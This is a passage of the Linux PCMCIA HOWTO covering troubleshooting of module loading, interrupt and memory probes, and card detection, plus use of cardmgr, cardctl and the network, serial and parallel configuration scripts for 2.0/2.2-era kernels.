Kernel modules contain version information that is checked against the current kernel when a module is loaded. The type of checking depends on the setting of the CONFIG_MODVERSIONS kernel option. If this is false, then the kernel version number is compiled into each module, and insmod checks this for a match with the running kernel. If CONFIG_MODVERSIONS is true, then each symbol exported by the kernel is given a sort of checksum. These codes are all compared against the corresponding codes compiled into a module. The intent was for this to make modules less version-dependent, because the checksums would only change if a kernel interface changed, and would generally stay the same across minor kernel updates. In practice, the checksums have turned out to be even more restrictive, because many kernel interfaces depend on compile-time kernel option settings. Also, the checksums turned out to be an excessively pessimistic judge of compatibility.

The practical upshot of this is that kernel modules are closely tied to both the kernel version, and the setting of many kernel configuration options. Generally, a set of modules compiled for one 2.0.31 kernel will not load against some other 2.0.31 kernel unless special care is taken to ensure that the two were built with similar configurations. This makes distribution of precompiled kernel modules a tricky business.

You have several options:

  • If you obtained precompiled drivers as part of a Linux distribution, verify that you are using an unmodified kernel as supplied with that distribution. If you intend to use precompiled modules, you generally must stick with the corresponding kernel.
  • If you have reconfigured or upgraded your kernel, you will probably need to compile and install the PCMCIA package from scratch. This is easily done if you already have the kernel source tree installed. See Compilation and installation for detailed instructions.
  • In some cases, incompatibilities in other system components can prevent correct loading of kernel modules. If you have upgraded your own kernel, pay attention to the ``minimal requirements'' for module utilities and binutils listed in the Documentation/Changes file in the kernel source code tree.

3.2 Some client driver modules do not load

Symptoms:

  • The base modules (pcmcia_core, ds, i82365) load correctly.
  • Inserting a card gives a high beep + low beep pattern.
  • cardmgr reports version mismatch errors in the system log.

Some of the driver modules require kernel services that may or may not be present, depending on kernel configuration. For instance, the SCSI card drivers require that the kernel be configured with SCSI support, and the network drivers require a networking kernel. If a kernel lacks a necessary feature, insmod may report undefined symbols and refuse to load a particular module. Note that insmod error messages do not distinguish between version mismatch errors and missing symbol errors.

Specifically:

  • The serial client driver serial_cs requires the kernel serial driver to be enabled with CONFIG_SERIAL. This driver may be built as a module.
  • Support for multiport serial cards or multifunction cards that include serial or modem devices requires CONFIG_SERIAL_SHARE_IRQ to be enabled.
  • The SCSI client drivers require that CONFIG_SCSI be enabled, along with the appropriate top level driver options (CONFIG_BLK_DEV_SD, CONFIG_BLK_DEV_SR, etc for 2.1 kernels). These may be built as modules.
  • The network client drivers require that CONFIG_INET is enabled. Kernel networking support cannot be compiled as a module.
  • The token-ring client requires that the kernel be compiled with CONFIG_TR enabled.

There are two ways to proceed:

  • Rebuild your kernel with the necessary features enabled.
  • If the features have been compiled as modules, then modify /etc/pcmcia/config to preload these modules.

The /etc/pcmcia/config file can specify that additional modules need to be loaded for a particular client. For example, for the serial driver, one would use:

device "serial_cs"
  class "serial" module "misc/serial", "serial_cs"

Module paths are specified relative to the top-level module directory for the current kernel version; if no relative path is given, then the path defaults to the pcmcia subdirectory.

3.3 Interrupt scan failures

Symptoms:

  • The system locks up when the PCMCIA drivers are loaded, even with no cards present.
  • The system log shows a successful host controller probe just before the lock-up, but does not show interrupt probe results.

After identifying the host controller type, the socket driver probes for free interrupts. The probe involves programming the controller for each apparently free interrupt, then generating a ``soft'' interrupt, to see if the interrupt can be detected correctly. In some cases, probing a particular interrupt can interfere with another system device.

The reason for the probe is to identify interrupts which appear to be free (i.e., are not reserved by any other Linux device driver), yet are either not physically wired to the host controller, or are connected to another device that does not have a driver.

In the system log, a successful probe might look like:

Intel PCIC probe:
  TI 1130 CardBus at mem 0x10211000, 2 sockets
  ...
  ISA irqs (scanned) = 5,7,9,10 status change on irq 10

There are two ways to proceed:

  • The interrupt probe can be restricted to a list of interrupts using the irq_list parameter for the socket drivers. For example, ``irq_list=5,9,10'' would limit the scan to three interrupts. All PCMCIA devices will be restricted to using these interrupts (assuming they pass the probe). You may need to use trial and error to find out which interrupts can be safely probed.
  • The interrupt probe can be disabled entirely by loading the socket driver with the ``do_scan=0'' option. In this case, a default interrupt list will be used, which avoids interrupts already allocated for other devices.

In either case, the probe options can be specified using the PCIC_OPTS definition in the PCMCIA startup script, for example:

PCIC_OPTS="irq_list=5,9,10"

It should be noted that /proc/interrupts is completely useless when it comes to diagnosing interrupt probe problems. The probe is sensible enough to never attempt to use an interrupt that is already in use by another Linux driver. So, the PCMCIA drivers are already using all the information in /proc/interrupts. Depending on system design, an inactive device can still occupy an interrupt and cause trouble if it is probed for PCMCIA.

3.4 IO port scan failures

Symptoms:

  • The system locks up when cardmgr is first started. For 3.1.24, the lockup happens even with no cards present; for 3.1.25, a card must be inserted.
  • The system log shows a successful host controller probe, including interrupt probe results, but does not show IO probe results.
  • In some cases, the IO probe will succeed, but report large numbers of random exclusions.

When cardmgr processes IO port ranges listed in /etc/pcmcia/config.opts, the kernel probes these ranges to detect latent devices that occupy IO space but are not associated with a Linux driver. The probe is read-only, but in rare cases, reading from a device may interfere with an important system function, resulting in a lock-up.

Your system user's guide may include a map of system devices, showing their IO and memory ranges. These can be explicitly excluded in config.opts.

Alternatively, if the probe is unreliable on your system, it can be disabled by setting CORE_OPTS to ``probe_io=0''. In this case, you should be very careful to specify only genuinely available ranges of ports in config.opts, instead of using the default settings.

3.5 Memory probe failures

Symptoms:

  • The core drivers load correctly when no cards are present, with no errors in the system log.
  • The system freezes and/or reboots as soon as any card is inserted, before any beeps are heard.

Or alternately:

  • All card insertions generate a high beep followed by a low beep.
  • All cards are identified as ``anonymous memory cards''.
  • The system log reports that various memory ranges have been excluded.

The core modules perform a memory scan at the time of first 16-bit card insertion. This scan can potentially interfere with other memory mapped devices. Also, pre-3.0.0 driver packages perform a more aggressive scan than more recent drivers. The memory window is defined in /etc/pcmcia/config.opts. The default window is large, so it may help to restrict the scan to a narrower range. Reasonable ranges to try include 0xd0000-0xdffff, 0xc0000-0xcffff, 0xc8000-0xcffff, or 0xd8000-0xdffff.

If you have DOS or Windows PCMCIA drivers, you may be able to deduce what memory region those drivers use. Note that DOS memory addresses are often specified in ``segment'' form, which leaves off the final hex digit (so an absolute address of 0xd0000 might be given as 0xd000). Be sure to add the extra digit back when making changes to config.opts.

In unusual cases, a memory probe failure can indicate a timing register setup problem with the host controller. See the Startup options section for information about dealing with common timing problems.

  • cs: warning: no high memory space available!

CardBus bridges can allocate memory windows outside of the 640KB-1MB ``memory hole'' in the ISA bus architecture. It is generally a good idea to configure CardBus bridges to use high memory windows, because these are unlikely to conflict with other devices. Also, CardBus cards may require large memory windows, which may be difficult or impossible to fit into low memory. Card Services will preferentially allocate windows in high memory for CardBus bridges, if both low and high memory windows are defined in config.opts. The default config.opts now includes a high memory window of 0xa0000000-0xa0ffffff. If you have a CardBus bridge and have upgraded from an older PCMCIA driver release, add this memory window if it is not already defined.

In some cases, the default high memory window is not usable. On some IBM Thinkpad models, a window of 0x60000000-0x60ffffff will work in place of the default window.

3.6 Failure to detect card insertions and removals

Symptoms:

  • Cards are detected and configured properly if present at boot time.
  • The drivers do not respond to insertion and removal events, either by recording events in the system log, or by beeping.

In most cases, the socket driver (i82365 or tcic) will automatically probe and select an appropriate interrupt to signal card status changes. The automatic interrupt probe doesn't work on some Intel-compatible controllers, including Cirrus chips and the chips used in some IBM ThinkPads. If a device is inactive at probe time, its interrupt may also appear to be available. In these cases, the socket driver may pick an interrupt that is used by another device.

With the i82365 and tcic drivers, the irq_list option can be used to limit the interrupts that will be tested. This list limits the set of interrupts that can be used by PCMCIA cards as well as for monitoring card status changes. The cs_irq option can also be used to explicitly set the interrupt to be used for monitoring card status changes.

If you can't find an interrupt number that works, there is also a polled status mode: both i82365 and tcic will accept a poll_interval=100 option, to poll for card status changes once per second. This option should also be used if your system has a shortage of interrupts available for use by PCMCIA cards. Especially for systems with more than one host controller, there is little point in dedicating interrupts for monitoring card status changes.

All these options should be set in the PCIC_OPTS= line in either /etc/rc.d/rc.pcmcia or /etc/sysconfig/pcmcia, depending on your site setup.

3.7 Interrupt delivery problems

Symptoms:

  • Cards appear to be configured successfully, but don't work.
  • Serial and modem cards may respond very sluggishly.
  • Network cards may report ``interrupt(s) dropped'', and/or transmit timeouts.

The most simple interrupt delivery problems are due to conflicts with other system devices. These can generally be resolved by excluding problem interrupts in /etc/pcmcia/config.opts. To test, just exclude interrupts one by one until either the problem is fixed or you run out of interrupts. If no interrupts work, then device conflicts are probably not the problem.

For CardBus bridges, a variety of other interrupt delivery issues may come into play. For a complete discussion, see PCI interrupt delivery problems.

3.8 System resource starvation

Symptoms:

  • When a card is inserted, it is identified correctly but cannot be configured (high/low beep pattern).
  • One of the following messages will appear in the system log:
    RequestIO: Resource in use
RequestIRQ: Resource in use
RequestWindow: Resource in use
GetNextTuple: No more items
could not allocate nn IO ports for CardBus socket n
could not allocate nnK memory for CardBus socket n
could not allocate interrupt for CardBus socket n

Interrupt starvation often indicates a problem with the interrupt probe (see Interrupt scan failures). In some cases, the probe will seem to work, but only report one or two available interrupts. Check your system log to see if the scan results look sensible. Disabling the probe and selecting interrupts manually should help.

If the interrupt probe is not working properly, the socket driver may allocate an interrupt for monitoring card insertions, even when interrupts are too scarce for this to be a good idea. You can switch the controller to polled mode by setting PCIC_OPTS to ``poll_interval=100'. Or, if you have a CardBus controller and an older version of the PCMCIA drivers, try ``pci_csc=1'', which selects a PCI interrupt (if available) for card status changes.

IO port starvation is fairly uncommon, but sometimes happens with cards that require large, contiguous, aligned regions of IO port space, or that only recognize a few specific IO port positions. The default IO port ranges in /etc/pcmcia/config.opts are normally sufficient, but may be extended. If this is the problem, try uncommenting the ``include port 0x1000-0x17ff'' line in config.opts. In rare cases, starvation may indicate that the IO port probe failed (see IO port scan failures).

Memory starvation is also uncommon with the default memory window settings in config.opts. CardBus cards may require larger memory regions than typical 16-bit cards. Since CardBus memory windows can be mapped anywhere in the host's PCI address space (rather than just in the 640K-1MB ``hole'' in PC systems), it is helpful to specify large memory windows in high memory, such as 0xa0000000-0xa0ffffff.

3.9 Resource conflict only with two cards inserted

Symptoms:

  • Two cards each work fine when used separately.
  • When both cards are inserted, only one works.

This usually indicates a resource conflict with a system device that Linux does not know about. PCMCIA devices are dynamically configured, so, for example, interrupts are allocated as needed, rather than specifically assigned to particular cards or sockets. Given a list of resources that appear to be available, cards are assigned resources in the order they are configured. In this case, the card configured last is being assigned a resource that in fact is not free.

Check the system log to see what resources are used by the non-working card. Exclude these in /etc/pcmcia/config.opts, and restart the cardmgr daemon to reload the resource database.

3.10 Device configuration does not complete

Symptoms:

  • When a card is inserted, exactly one high beep is heard.
  • Subsequent card insertions and removals may be ignored.

This indicates that the card was identified successfully, however, cardmgr has been unable to complete the configuration process for some reason. The most likely reason is that a step in the card setup script has blocked. A good example would be the network script blocking if a network card is inserted with no actual network hookup present.

To pinpoint the problem, you can manually run a setup script to see where it is blocking. The scripts are in the /etc/pcmcia directory. They take two parameters: a device name, and an action. The cardmgr daemon records the configuration commands in the system log. For example, if the system log shows that the command ``./network start eth0'' was the last command executed by cardmgr, the following command would trace the script:

sh -x /etc/pcmcia/network start eth0


Linux PCMCIA HOWTO: Usage and features

 Next Previous Contents

4. Usage and features

4.1 Tools for configuring and monitoring PCMCIA devices

If the modules are all loaded correctly, the output of the lsmod command should look like the following, when no cards are inserted:

Module                  Size  Used by
ds                      5640   2
i82365                 15452   2
pcmcia_core            30012   3  [ds i82365]

The system log should also include output from the socket driver describing the host controller(s) found and the number of sockets detected.

The cardmgr configuration daemon

The cardmgr daemon is responsible for monitoring PCMCIA sockets, loading client drivers when needed, and running user-level scripts in response to card insertions and removals. It records its actions in the system log, but also uses beeps to signal card status changes. The tones of the beeps indicate success or failure of particular configuration steps. Two high beeps indicate that a card was identified and configured successfully. A high beep followed by a low beep indicates that a card was identified, but could not be configured for some reason. One low beep indicates that a card could not be identified.

The cardmgr daemon configures cards based on a database of known card types kept in /etc/pcmcia/config. This file describes the various client drivers, then describes how to identify various cards, and which driver(s) belong with which cards. The format of this file is described in the pcmcia(5) man page.

The socket status file, stab

Cardmgr records device information for each socket in /var/lib/pcmcia/stab. Here is a sample stab listing:

Socket 0: Adaptec APA-1460 SlimSCSI
0       scsi    aha152x_cs      0       sda     8       0
0       scsi    aha152x_cs      1       scd0    11      0
Socket 1: Serial or Modem Card
1       serial  serial_cs       0       ttyS1   5       65

For the lines describing devices, the first field is the socket, the second is the device class, the third is the driver name, the fourth is used to number multiple devices associated with the same driver, the fifth is the device name, and the final two fields are the major and minor device numbers for this device (if applicable). See the stab man page for more info.

The cardctl and cardinfo utilities

The cardctl command can be used to check the status of a socket, or to see how it is configured. It can also be used to alter the configuration status of a card. Here is an example of the output of the ``cardctl config'' command:

Socket 0:
  not configured
Socket 1:
  Vcc = 5.0, Vpp1 = 0.0, Vpp2 = 0.0
  Card type is memory and I/O
  IRQ 3 is dynamic shared, level mode, enabled
  Speaker output is enabled
  Function 0:
    Config register base = 0x0800
      Option = 0x63, status = 0x08
    I/O window 1: 0x0280 to 0x02bf, auto sized
    I/O window 2: 0x02f8 to 0x02ff, 8 bit

Or ``cardctl ident'', to get card identification information:

Socket 0:
  no product info available
Socket 1:
  product info: "LINKSYS", "PCMLM336", "A", "0040052D6400"
  manfid: 0x0143, 0xc0ab
  function: 0 (multifunction)

The ``cardctl suspend'' and ``cardctl resume'' commands can be used to shut down a card without unloading its associated drivers. The ``cardctl reset'' command attempts to reset and reconfigure a card. ``cardctl insert'' and ``cardctl eject'' mimic the actions performed when a card is physically inserted or ejected, including loading or unloading drivers, and configuring or shutting down devices.

If you are running X, the cardinfo utility produces a graphical display showing the current status of all PCMCIA sockets, similar in content to ``cardctl config''. It also provides a graphical interface to most other cardctl functions.

Inserting and ejecting cards

In theory, you can insert and remove PCMCIA cards at any time. However, it is a good idea not to eject a card that is currently being used by an application program. Kernels older than 1.1.77 would often lock up when serial/modem cards were ejected, but this should be fixed now.

Some card types cannot be safely hot ejected. Specifically, ATA/IDE and SCSI interface cards are not hot-swap-safe. This is unlikely to be fixed, because a complete solution would require significant changes to the Linux block device model. Also, it is generally not safe to hot eject CardBus cards of any type. This is likely to improve gradually as hot swap bugs in the CardBus drivers are found and fixed. For these card types (IDE, SCSI, CardBus), it is recommended that you always use ``cardctl eject'' before ejecting.

Card Services and Advanced Power Management

Card Services can be compiled with support for APM (Advanced Power Management) if you've configured your kernel with APM support. The APM kernel driver is maintained by Stephen Rothwell (Stephen.Rothwell@canb.auug.org.au). The apmd daemon is maintained by Avery Pennarun (apenwarr@worldvisions.ca), with more information available at http://www.worldvisions.ca/~apenwarr/apmd/. The PCMCIA modules will automatically be configured for APM if a compatible version is detected on your system.

Whether or not APM is configured, you can use ``cardctl suspend'' before suspending your laptop, and ``cardctl resume'' after resuming, to cleanly shut down and restart your PCMCIA cards. This will not work with a modem that is in use, because the serial driver isn't able to save and restore the modem operating parameters.

APM seems to be unstable on some systems. If you experience trouble with APM and PCMCIA on your system, try to narrow down the problem to one package or the other before reporting a bug.

Some drivers, notably the PCMCIA SCSI drivers, cannot recover from a suspend/resume cycle. When using a PCMCIA SCSI card, always use ``cardctl eject'' prior to suspending the system.

Shutting down the PCMCIA system

To unload the entire PCMCIA package, invoke rc.pcmcia with:

/etc/rc.d/rc.pcmcia stop

This script will take several seconds to run, to give all client drivers time to shut down gracefully. If a device is currently in use, the shutdown will be incomplete, and some kernel modules may not be unloaded. To avoid this, use ``cardctl eject'' to shut down all sockets before invoking rc.pcmcia. The exit status of the cardctl command will indicate if any sockets could not be shut down.

4.2 Overview of the PCMCIA configuration scripts

Each PCMCIA device has an associated ``class'' that describes how it should be configured and managed. Classes are associated with device drivers in /etc/pcmcia/config. There are currently five IO device classes (network, SCSI, cdrom, fixed disk, and serial) and two memory device classes (memory and FTL). For each class, there are two scripts in /etc/pcmcia: a main configuration script (i.e., /etc/pcmcia/scsi for SCSI devices), and an options script (i.e., /etc/pcmcia/scsi.opts). The main script for a device will be invoked to configure that device when a card is inserted, and to shut down the device when the card is removed. For cards with several associated devices, the script will be invoked for each device.

The config scripts start by extracting some information about a device from the stab file. Each script constructs a ``device address'', that uniquely describes the device it has been asked to configure, in the ADDRESS shell variable. This is passed to the *.opts script, which should return information about how a device at this address should be configured. For some devices, the device address is just the socket number. For others, it includes extra information that may be useful in deciding how to configure the device. For example, network devices pass their hardware ethernet address as part of the device address, so the network.opts script could use this to select from several different configurations.

The first part of all device addresses is the current PCMCIA ``scheme''. This parameter is used to support multiple sets of device configurations based on a single external user-specified variable. One use of schemes would be to have a ``home'' scheme, and a ``work'' scheme, which would include different sets of network configuration parameters. The current scheme is selected using the ``cardctl scheme'' command. The default if no scheme is set is ``default''.

There are a few additional shell variables that can be used in *.opts files in addition to ADDRESS. The most useful are DEVICE, the current device name or network interface name; and DRIVER, the driver name, sometimes useful for distinguishing different sorts of network devices. As the *.opts files are just shell scripts, it is not required that they follow the form of the examples, which just return settings based on ADDRESS.

As a general rule, when configuring Linux for a laptop, PCMCIA devices should only be configured from the PCMCIA device scripts. Do not try to configure a PCMCIA device the same way you would configure a permanently attached device. However, some Linux distributions provide PCMCIA packages that are hooked into those distributions' own device configuration tools. In that case, some of the following sections may not apply; ideally, this will be documented by the distribution maintainers.

4.3 PCMCIA network adapters

Linux ethernet-type network interfaces normally have names like eth0, eth1, and so on. Token-ring adapters are handled similarly, however they are named tr0, tr1, and so on. The ifconfig command is used to view or modify the state of a network interface. A peculiarity of Linux is that network interfaces do not have corresponding device files under /dev, so do not be surprised when you do not find them.

When an ethernet card is detected, it will be assigned the first free interface name, which will normally be eth0. Cardmgr will run the /etc/pcmcia/network script to configure the interface, which normally reads network settings from /etc/pcmcia/network.opts. The network and network.opts scripts will be executed only when your ethernet card is actually present. If your system has an automatic network configuration facility, it may or may not be PCMCIA-aware. Consult the documentation of your Linux distribution and the Notes about specific Linux distributions to determine if PCMCIA network devices should be configured with the automatic tools, or by editing network.opts.

The device address passed to network.opts consists of four comma-separated fields: the scheme, the socket number, the device instance, and the card's hardware ethernet address. The device instance is used to number devices for cards that have several network interfaces, so it will usually be 0. If you have several network cards used for different purposes, one option would be to configure the cards based on socket position, as in:

case "$ADDRESS" in
*,0,*,*)
    # definitions for network card in socket 0
    ;;
*,1,*,*)
    # definitions for network card in socket 1
    ;;
esac

Alternatively, they could be configured using their hardware addresses, as in:

case "$ADDRESS" in
*,*,*,00:80:C8:76:00:B1)
    # definitions for a D-Link card
    ;;
*,*,*,08:00:5A:44:80:01)
    # definitions for an IBM card
esac

Network device parameters

The following parameters can be defined in network.opts:

IF_PORT

Specifies the ethernet transceiver type, for certain 16-bit cards that do not autodetect. See ``man ifport'' for more information.

BOOTP

A boolean (y/n) value: indicates if the host's IP address and routing information should be obtained using the BOOTP protocol, with bootpc or pump.

DHCP

A boolean (y/n) value: indicates if the host's IP address and routing information should be obtained from a DHCP server. The network script first looks for dhcpcd, then dhclient, then pump.

DHCP_HOSTNAME

Specifies a hostname to be passed to dhcpcd or pump, for inclusion in DHCP messages.

IPADDR

The IP address for this interface.

NETMASK, BROADCAST, NETWORK

Basic network parameters: see the networking HOWTO for more information.

GATEWAY

The IP address of a gateway for this host's subnet. Packets with destinations outside this subnet will be routed to this gateway.

DOMAIN

The local network domain name for this host, to be used in creating /etc/resolv.conf.

SEARCH

A search list for host name lookup, to be added to /etc/resolv.conf. DOMAIN and SEARCH are mutually exclusive: see ``man resolver'' for more information.

DNS_1, DNS_2, DNS_3

Host names or IP addresses for nameservers for this interface, to be added to /etc/resolv.conf

MOUNTS

A space-separated list of NFS mount points to be mounted for this interface.

IPX_FRAME, IPX_NETNUM

For IPX networks: the frame type and network number, passed to the ipx_interface command.

NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is set, then ``cardctl eject'' will shut down a device even if there are open connections. If NO_FUSER is set, then the script will not check for busy NFS mounts or kill processes using those mounts.

For example:

case "$ADDRESS" in
*,*,*,*)
    IF_PORT="10base2"
    BOOTP="n"
    IPADDR="10.0.0.1"
    NETMASK="255.255.255.0"
    NETWORK="10.0.0.0"
    BROADCAST="10.0.0.255"
    GATEWAY="10.0.0.1"
    DOMAIN="domain.org"
    DNS_1="dns1.domain.org"
    ;;
esac

To automatically mount and unmount NFS filesystems, first add all these filesystems to /etc/fstab, but include noauto in the mount options. In network.opts, list the filesystem mount points in the MOUNTS variable. It is especially important to use either cardctl or cardinfo to shut down a network card when NFS mounts are active. It is not possible to cleanly unmount NFS filesystems if a network card is simply ejected without warning.

In addition to the usual network configuration parameters, the network.opts script can specify extra actions to be taken after an interface is configured, or before an interface is shut down. If network.opts defines a shell function called start_fn, it will be invoked by the network script after the interface is configured, and the interface name will be passed to the function as its first (and only) argument. Similarly, if it is defined, stop_fn will be invoked before shutting down an interface.

The transceiver type for some cards can be selected using the IF_PORT setting. This can either be a numeric value, or a keyword identifying the transceiver type. All the network drivers default to either autodetect the interface if possible, or 10baseT otherwise. The ifport command can be used to check or set the current transceiver type. For example:

# ifport eth0 10base2
#
# ifport eth0
eth0    2 (10base2)

The current (3.0.10 or later) 3c589 driver should quickly autodetect transceiver changes at any time. Earlier releases of the 3c589 driver had a somewhat slow and flaky transceiver autodetection algorithm. For these releases, the appropriate network cable should be connected to the card when the card is configured, or you can force autodetection with:

ifconfig eth0 down up

Comments about specific cards

  • With IBM CCAE and Socket EA cards, the transceiver type (10base2, 10baseT, AUI) needs to be set when the network device is configured. Make sure that the transceiver type reported in the system log matches your connection.
  • The Farallon EtherWave is actually based on the 3Com 3c589, with a special transceiver. Though the EtherWave uses 10baseT-style connections, its transceiver requires that the 3c589 be configured in 10base2 mode.
  • If you have trouble with an IBM CCAE, NE4100, Thomas Conrad, or Kingston adapter, try increasing the memory access time with the mem_speed=# option to the pcnet_cs module. An example of how to do this is given in the standard config.opts file. Try speeds of up to 1000 (in nanoseconds).
  • For the New Media Ethernet adapter, on some systems, it may be necessary to increase the IO port access time with the io_speed=# option when the pcmcia_core module is loaded. Edit CORE_OPTS in the startup script to set this option.
  • The multicast support in the New Media Ethernet driver is incomplete. The latest driver will function with multicast kernels, but will ignore multicast packets. Promiscuous mode should work properly.
  • The driver used by the IBM and 3Com token ring adapters seems to behave very badly if the cards are not connected to a ring when they get initialized. Always connect these cards to the net before they are powered up. If ifconfig reports the hardware address as all 0's, this is likely to be due to a memory window configuration problem.
  • Some Linksys, D-Link, and IC-Card 10baseT/10base2 cards have a unique way of selecting the transceiver type that isn't handled by the Linux drivers. One workaround is to boot DOS and use the vendor-supplied utility to select the transceiver, then warm boot Linux. Alternatively, a Linux utility to perform this function is available at http://pcmcia-cs.sourceforge.net/ftp/extras/dlport.c.
  • 16-bit PCMCIA cards have a maximum performance of 1.5-2 MB/sec. That means that any 16-bit 100baseT card (i.e., any card that uses the pcnet_cs, 3c574_cs, smc91c92_cs, or xirc2ps_cs driver) will never achieve full 100baseT throughput. Only CardBus network adapters can fully exploit 100baseT data rates.
  • For WaveLAN wireless network adapters, Jean Tourrilhes (jt@hpl.hp.com) has put together a wireless HOWTO at http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/.

Diagnosing problems with network adapters

  • In 3.1.15 and later PCMCIA releases, the test_network script in the debug-tools subdirectory of the PCMCIA source tree will spot some common problems.
  • Is your card recognized as an ethernet card? Check the system log and make sure that cardmgr identifies the card correctly and starts up one of the network drivers. If it doesn't, your card might still be usable if it is compatible with a supported card. This will be most easily done if the card claims to be ``NE2000 compatible''.
  • Is the card configured properly? If you are using a supported card, and it was recognized by cardmgr, but still doesn't work, there might be an interrupt or port conflict with another device. Find out what resources the card is using (from the system log), and try excluding these in /etc/pcmcia/config.opts to force the card to use something different.
  • If your card seems to be configured properly, but sometimes locks up, particularly under high load, you may need to try changing your socket driver timing parameters. See the Startup options section for more information.
  • If you get ``Network is unreachable'' messages when you try to access the network, then the routing information specified in /etc/pcmcia/network.opts is incorrect. This exact message is an absolutely foolproof indication of a routing error. On the other hand, mis-configured cards will usually fail silently.
  • If you are trying to use DHCP to configure your network interface, try testing things with a static IP address instead, to rule out a DHCP configuration problem.
  • To diagnose problems in /etc/pcmcia/network.opts, start by trying to ping other systems on the same subnet using their IP addresses. Then try to ping your gateway, and then machines on other subnets. Ping machines by name only after trying these simpler tests.
  • Make sure your problem is really a PCMCIA one. It may help to see see if the card works under DOS with the vendor's drivers. Double check your modifications to the /etc/pcmcia/network.opts script. Make sure your drop cable, ``T'' jack, terminator, etc are working.
  • Use real network cables. Don't even think about using that old phone cord you found in your basement. And this means Category 5 cable for 100baseT. It really matters.

4.4 PCMCIA serial and modem devices

Linux serial devices are accessed via the /dev/ttyS* and /dev/cua* special device files. In pre-2.2 kernels, the ttyS* devices were for incoming connections, such as directly connected terminals, and the cua* devices were for outgoing connections, such as modems. Use of cua* devices is deprecated in current kernels, and ttyS* can be used for all applications. The configuration of a serial device can be examined and modified with the setserial command.

When a serial or modem card is detected, it will be assigned to the first available serial device slot. This will usually be /dev/ttyS1 (cua1) or /dev/ttyS2 (cua2), depending on the number of built-in serial ports. The ttyS* device is the one reported in stab. The default serial device option script, /etc/pcmcia/serial.opts, will link the device file to /dev/modem as a convenience. For pre-2.2 kernels, the link is made to the cua* device.

Do not try to use /etc/rc.d/rc.serial to configure a PCMCIA modem. This script should only be used to configure non-removable devices. Modify /etc/pcmcia/serial.opts if you want to do anything special to set up your modem. Also, do not try to change the IO port and interrupt settings of a serial device using setserial. This would tell the serial driver to look for the device in a different place, but would not change how the card's hardware is actually configured. The serial configuration script allows you to specify other setserial options, as well as whether a line should be added to /etc/inittab for this port.

The device address passed to serial.opts has three comma-separated fields: the first is the scheme, the second is the socket number, and the third is the device instance. The device instance may take several values for cards that support multiple serial ports, but for single-port cards, it will always be 0. If you commonly use more than one modem, you may want to specify different settings based on socket position, as in:

case "$ADDRESS" in
*,0,*)
    # Options for modem in socket 0
    LINK=/dev/modem0
    ;;
*,1,*)
    # Options for modem in socket 1
    LINK=/dev/modem1
    ;;
esac

If a PCMCIA modem is already configured when Linux boots, it may be incorrectly identified as an ordinary built-in serial port. This is harmless, however, when the PCMCIA drivers take control of the modem, it will be assigned a different device slot. It is best to either parse stab or use /dev/modem, rather than expecting a PCMCIA modem to always have the same device assignment.

If you configure your kernel to load the basic Linux serial port driver as a module, you must edit /etc/pcmcia/config to indicate that this module must be loaded. Edit the serial device entry to read:

device "serial_cs"
  class "serial" module "misc/serial", "serial_cs"

Serial device parameters

The following parameters can be defined in serial.opts:

LINK

Specifies a path for a symbolic link to be created to the ``callout'' device (e.g., /dev/cua* for pre-2.2, or /dev/ttyS* for 2.2 kernels).

SERIAL_OPTS

Specifies options to be passed to the setserial command.

INITTAB

If specified, this will be used to construct an inittab entry for the device.

NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is true, then ``cardctl eject'' will shut down a device even if it is busy. If NO_FUSER is true, then the script will not try to kill processes using an ejected device.

For example:

case "$ADDRESS" in
*,*,*,*)
    LINK="/dev/modem"
    SERIAL_OPTS=""
    INITTAB="/sbin/getty"

Comments about specific cards

  • The Uniden Data 2000 Wireless CDPD card has some special dialing strings for initiating SLIP and PPP mode. For SLIP, use ``ATDT2''; for PPP, "ATDT0".

Diagnosing problems with serial devices

  • In 3.1.15 and later PCMCIA releases, the test_modem script in the debug-tools subdirectory of the PCMCIA source tree will spot some common problems.
  • Is your card recognized as a modem? Check the system log and make sure that cardmgr identifies the card correctly and starts up the serial_cs driver. If it doesn't, you may need to add a new entry to your /etc/pcmcia/config file so that it will be identified properly. See the Configuring unrecognized cards section for details.
  • Is the modem configured successfully by serial_cs? Again, check the system log and look for messages from the serial_cs driver. If you see ``register_serial() failed'', you may have an I/O port conflict with another device. Another tip-off of a conflict is if the device is reported to be an 8250; most modern modems should be identified as 16550A UART's. If you think you're seeing a port conflict, edit /etc/pcmcia/config.opts and exclude the port range that was allocated for the modem.
  • Is there an interrupt conflict? If the system log looks good, but the modem just doesn't seem to work, try using setserial to change the irq to 0, and see if the modem works. This causes the serial driver to use a slower polled mode instead of using interrupts. If this seems to fix the problem, it is likely that some other device in your system is using the interrupt selected by serial_cs. You should add a line to /etc/pcmcia/config.opts to exclude this interrupt.
  • If the modem seems to work only very, very slowly, this is an almost certain indicator of an interrupt conflict.
  • Make sure your problem is really a PCMCIA one. It may help to see if the card works under DOS with the vendor's drivers. Also, don't test the card with something complex like SLIP or PPP until you are sure you can make simple connections. If simple things work but SLIP does not, your problem is most likely with SLIP, not with PCMCIA.
  • If you get kernel messages indicating that the serial_cs module cannot be loaded, it means that your kernel does not have serial device support. If you have compiled the serial driver as a module, you must modify /etc/pcmcia/config to indicate that the serial module should be loaded before serial_cs.

4.5 PCMCIA parallel port devices

The Linux parallel port driver is layered so that several high-level device types can share use of the same low level port driver. Printer devices are accessed via the /dev/lp* special device files. The configuration of a printer device can be examined and modified with the tunelp command.

The parport_cs module depends on the parport and parport_pc drivers, which may be either compiled into the kernel or compiled as modules. The layered driver structure means that any top-level parallel drivers (such as the plip driver, the printer driver, etc) must be compiled as modules. These drivers only recognize parallel port devices at module startup time, so they need to be loaded after any PC Card parallel devices are configured.

The device address passed to parport.opts has three comma-separated fields: the first is the scheme, the second is the socket number, and the third is the device instance. The device instance may take several values for cards that support multiple parallel ports, but for single-port cards, it will always be 0. If you commonly use more than one such card, you may want to specify different settings based on socket position, as in:

case "$ADDRESS" in
*,0,*)
    # Options for card in socket 0
    LINK=/dev/printer0
    ;;
*,1,*)
    # Options for card in socket 1
    LINK=/dev/printer1
    ;;
esac

If you configure your kernel to load the basic Linux parallel port driver as a module, you must edit /etc/pcmcia/config to indicate that the appropriate modules must be loaded. Edit the parallel device entry to read:

device "parport_cs"
  class "parport" module "misc/parport", "misc/parport_pc", "parport_cs"

Parallel device parameters

The following parameters can be defined in parport.opts:

LINK

Specifies a path for a symbolic link to be created to the printer port.

LP_OPTS

Specifies options to be passed to the tunelp command.

